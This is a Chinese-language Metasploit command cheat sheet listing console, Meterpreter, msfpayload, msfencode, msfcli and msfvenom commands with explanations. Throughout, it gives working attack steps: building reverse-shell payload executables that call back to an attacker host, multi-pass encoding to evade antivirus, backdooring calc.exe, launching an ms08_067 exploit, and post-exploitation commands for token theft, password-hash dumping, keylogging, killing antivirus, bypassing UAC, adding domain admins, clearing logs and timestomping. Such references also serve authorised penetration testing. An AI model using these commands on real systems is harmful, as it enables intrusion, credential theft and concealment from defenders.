一、MSF終端命令
show exploits
列出metasploit框架中所有的滲透攻擊模塊
show payloads
列出metasploit框架中所有的攻擊載荷
show auxiliary
列出metasploit框架中所有的輔助攻擊模塊
search name
查找metasploit框架中滲透攻擊或者其他模塊
info
展示出制定滲透攻擊或模塊的相關(guān)信息
use name
裝載一個滲透攻擊或模塊
LHOST
本地可以讓目標(biāo)主機(jī)鏈接的IP地址,如果目標(biāo)主機(jī)和自己不在同一個局域網(wǎng)內(nèi)時,就需要你的公共IP地址,特別為反彈式shell使用
RHOST
遠(yuǎn)程主機(jī)或目標(biāo)主機(jī)
set function
設(shè)置配置參數(shù)
setg function
以全局方式設(shè)置特定的配置參數(shù)
show options
列出某個滲透攻擊或模塊中所有的配置參數(shù)
show targets
列出滲透攻擊所支持的目標(biāo)平臺
set target num
指定你所知道的目標(biāo)的操作系統(tǒng)以及補(bǔ)丁版本類型
set PAYLOAD payload
指定想要使用的攻擊載荷
show advanced
列出高級選項(xiàng)
set autorunscript migrate -f
在滲透攻擊完成后,將自動遷移到另一個進(jìn)程
check
檢測目標(biāo)是否對選定滲透攻擊存在相應(yīng)安全漏洞
exploit
執(zhí)行滲透攻擊或模塊來攻擊目標(biāo)
exploit -j
后臺進(jìn)行攻擊目標(biāo)
exploit -z
滲透攻擊成功后不與會話進(jìn)行交互
exploit -e enconder
制定使用的攻擊載荷編碼方式(例如:exploit -e shikata_ga_nai)
exploit -h
列出exploit命令的幫助信息
sessions -l
列出可用的交互會話
sessions -l -v
列出可用的交互會話,以及會話的詳細(xì)信息,例如:攻擊系統(tǒng)時使用了哪個安全漏洞
sessions -s script
在所有活躍的Meterpreter會話中運(yùn)行一個特定的Meterpreter腳本
sessions -K
殺死所有活躍的交互會話
sessions -c cmd
在所有活躍的Meterpreter會話上執(zhí)行一個命令
sessions -u sessionID
升級一個普通的win 32 shell到Meterpreter shell
db_creat name
創(chuàng)建一個數(shù)據(jù)庫驅(qū)動攻擊所要用的數(shù)據(jù)庫(例如:db_creat autopwn)
db_connect name?
創(chuàng)建并連接一個數(shù)據(jù)庫驅(qū)動攻擊所要用的數(shù)據(jù)庫(例如:db_connect autopwn)
db_nmap
利用nmap并把掃描數(shù)據(jù)存儲到數(shù)據(jù)庫中(支持nmap的普通語法)
db_autopwn -p -r -e
對所有發(fā)現(xiàn)的開放端口執(zhí)行db_autopwn,攻擊所有系統(tǒng),并使用一個反彈shell
db_destroy
刪除當(dāng)前數(shù)據(jù)庫
db_destory user:password@host:port/datebase
使用高級選項(xiàng)來刪除數(shù)據(jù)庫
二、Meterpreter命令
help
打開使用幫助
run scriptname
運(yùn)行Meterpreter腳本,在scripts/meterpreter目錄下查看所有腳本名
sysinfo
列出受控主機(jī)的系統(tǒng)信息
ls
列出主機(jī)的文件和文件夾信息
use priv
加載特權(quán)提升拓展模塊,來擴(kuò)展Meterpreter庫
ps
顯示所有運(yùn)行進(jìn)程以及關(guān)聯(lián)的用戶賬戶
migrate PID
遷移到一個指定的進(jìn)程ID(PID號可通過ps命令從目標(biāo)主機(jī)上獲得)
use incognito
加載incognito功能(用來盜竊目標(biāo)主機(jī)的令牌或是假冒用戶)
list_tokens -g
列出目標(biāo)主機(jī)用戶的可用令牌
list_tokens -g
列出目標(biāo)主機(jī)用戶組的可用令牌
impersonate_token DOMAIN_NAME\\USERNAME
假冒目標(biāo)主機(jī)上的可用令牌
steal_token PID
盜竊給定進(jìn)程的可用令牌并進(jìn)行令牌假冒
drop_token
停止假冒當(dāng)前令牌
getsystem
通過各種攻擊向量來提升系統(tǒng)用戶權(quán)限
shell
以所有可用令牌來運(yùn)行一個交互的shell
execute -f cmd.exe -i
執(zhí)行cmd.exe命令并進(jìn)行交互
execute -f cmd.exe -i -t
以所有可用令牌來執(zhí)行cmd命令
execute -f cmd.exe -i -H -t
以所有可用令牌來執(zhí)行cmd命令,并隱藏該進(jìn)程
rev2self
回到控制目標(biāo)主機(jī)的初始用戶賬戶下
reg command
在目標(biāo)主機(jī)注冊表中進(jìn)行交互,創(chuàng)建,刪除,查詢等操作
setdesktop number
切換到另一個用戶界面
screenshot
截屏
upload file
向目標(biāo)主機(jī)上傳文件
download file
從目標(biāo)主機(jī)上下載文件
keyscan_start
針對遠(yuǎn)程目標(biāo)主機(jī)開啟鍵盤記錄功能
keyscan_dump
存儲目標(biāo)主機(jī)上捕獲的鍵盤記錄
keyscan_stop
停止針對目標(biāo)主機(jī)的鍵盤記錄
getprivs
盡可能多的獲取目標(biāo)主機(jī)上的特權(quán)
uictl enable keyboard/mouse
接管目標(biāo)主機(jī)的鍵盤和鼠標(biāo)
background
將你當(dāng)前的Meterpreter shell轉(zhuǎn)為后臺執(zhí)行
hashdump
導(dǎo)出目標(biāo)主機(jī)中的口令哈希值
use sniffer
加載嗅探模塊
sniffer_interfaces
列出目標(biāo)主機(jī)所有開放的網(wǎng)絡(luò)接口
sniffer_dump interfaceID pcapname
在目標(biāo)主機(jī)上啟動嗅探
sniffer_start interfaceID pcaket-buffer
在目標(biāo)主機(jī)上針對特定范圍的數(shù)據(jù)包緩沖區(qū)啟動嗅探
sniffer_stats interfaceID?
獲取正在實(shí)施嗅探網(wǎng)絡(luò)接口的統(tǒng)計(jì)數(shù)據(jù)
sniffer_stop interfaceID?
停止嗅探
add_user username password -h ip
在遠(yuǎn)程目標(biāo)主機(jī)上添加一個用戶
add_group_user "Domain Admins" username -h ip
將用戶添加到目標(biāo)主機(jī)的域管理員組中
clearv
清除目標(biāo)主機(jī)上的日志記錄
timestomp
修改文件屬性,例如修改文件的創(chuàng)建時間(反取證調(diào)查)
reboot
重啟目標(biāo)主機(jī)
三、MSF payload命令
msfpayload -h
MSFpayload的幫助信息
msfpayload windows/meterpreter/bind_tcp O
列出攻擊載荷的配置項(xiàng)(任何攻擊載荷都可以配置)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe
創(chuàng)建一個Meterpreter的reverse_tcp攻擊載荷,回連到192.168.1.5的443端口,將其保存為payload.exe的Windows可執(zhí)行程序
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw
生成原始格式的文件,該文件將在MSFencode中使用。
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 C > payload.c
生成C格式的shellcode
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 J > payload.java
生成以%u編碼方式的JavaScript語言字符串
四、MSFencode命令
msfencode -h
幫助信息
msfencode -l
列出所有可用的編碼器
msfencode -t (c,elf,exe,java,js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
顯示編碼緩沖區(qū)的格式
msfencode -i payload.raw -o encoded_payload.exe -e -x86/shikata_ga_nai -c 5 -t exe
使用shikata_ga_nai編碼器對payload.raw文件進(jìn)行5次編碼,然后導(dǎo)出一encoded_payload.exe文件
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c -5 -t raw | msfencode -e x86/shikata_ga_nai -c -5 -t exe -o multi-encoded_payload.exe
創(chuàng)建一個經(jīng)過多種編碼格式嵌套編碼的攻擊載荷
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
創(chuàng)建一個純字母數(shù)字的shellcode,由ESI寄存器指向shellcode,以c語言格式輸出。
五、MSFcli命令
msfcli | grep exploit
僅列出滲透攻擊模塊
msfcli | grep exploit/windows
僅列出與windows相關(guān)的滲透攻擊模塊
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
對172.16.32.142發(fā)起ms08_067_netapi滲透攻擊,配置了bind_tcp攻擊載荷,并綁定在443端口進(jìn)行監(jiān)聽
六、Metasploit高級忍術(shù)
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode ?-x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe
創(chuàng)建一個反彈式的Meterpreter攻擊載荷,回連到192.168.1.5主機(jī)443端口上,使用calc.exe作為載荷后門程序,讓載荷執(zhí)行流一直運(yùn)行在被攻擊的應(yīng)用程序中,最后生成以.shikata_ga_nai編碼器編碼后的攻擊載荷可執(zhí)行程序payload.exe
msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe
創(chuàng)建一個反彈式的Meterpreter攻擊載荷,回連到192.168.1.5主機(jī)443端口上,使用calc.exe作為載荷后門程序,不讓載荷執(zhí)行流一直運(yùn)行在被攻擊的應(yīng)用程序中,同時在攻擊載荷執(zhí)行后也不會在目標(biāo)主機(jī)上彈出任何信息。這種配置非常有效,當(dāng)你利用瀏覽器漏洞控制了遠(yuǎn)程主機(jī),并不想讓計(jì)算器程序打開呈現(xiàn)在目標(biāo)用戶面前。同樣,最后生成以.shikata_ga_nai編碼器編碼后的攻擊載荷可執(zhí)行程序payload.exe
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -x calc.exe?-k- -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
創(chuàng)建一個raw格式的bind_tcp模式的Meterpreter攻擊載荷,編碼7次,輸出payload.exe,同時開啟多路監(jiān)聽方式
七、MSFvenom
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=172.14.1.32 LPORT=443 > msf.exe
創(chuàng)建和編碼攻擊載荷
八、Meterpreter后滲透攻擊階段命令
在windows主機(jī)上提權(quán)
meterpreter > use priv
meterpreter > getsystem
在一個給定的進(jìn)程ID中竊取一個域管理員組令牌,添加一個域賬戶,并把域賬戶添加到域管理員組中
meterpreter > ps
meterpreter > steal_token 1784
meterpreter > shell
從SAM數(shù)據(jù)庫中導(dǎo)出密碼的哈希值
meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump
提示:在windows8中,若getsystem命令和hashdump命令拋出異常,則需要遷移到一個以system系統(tǒng)權(quán)限運(yùn)行的程序中
自動遷移到一個獨(dú)立進(jìn)程
meterpreter > run migrate
通過Meterpreter的killav腳本殺死目標(biāo)主機(jī)上運(yùn)行的殺毒軟件進(jìn)程
meterpreter > run killav
針對一個特定的進(jìn)程捕獲目標(biāo)主機(jī)上的鍵盤記錄
meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
使用匿名方式來冒充管理員
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token INAZSEURITY\\Adminstrator
查看目標(biāo)主機(jī)上采取了哪些防護(hù)措施,列出幫助菜單,關(guān)閉防火墻以及其他我們發(fā)現(xiàn)的防護(hù)措施
meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
識別被控制的主機(jī)是否為虛擬機(jī)
meterpreter > run checkvm
在Meterpreter會話中使用shell
meterpreter > shell
獲取目標(biāo)主機(jī)的圖形界面
meterpreter > run vnc
使正在運(yùn)行的Meterpreter界面在后臺運(yùn)行
meterpreter > backgroud
繞過windows用戶賬戶控制UAC機(jī)制
meterpreter > run post/windows/escalate/bypassuac
導(dǎo)出os-x系統(tǒng)口令哈希值
meterpreter > run post/osx/gather/hashdump
導(dǎo)出linux系統(tǒng)口令哈希值
meterpreter > run post/linux/gather/hashdump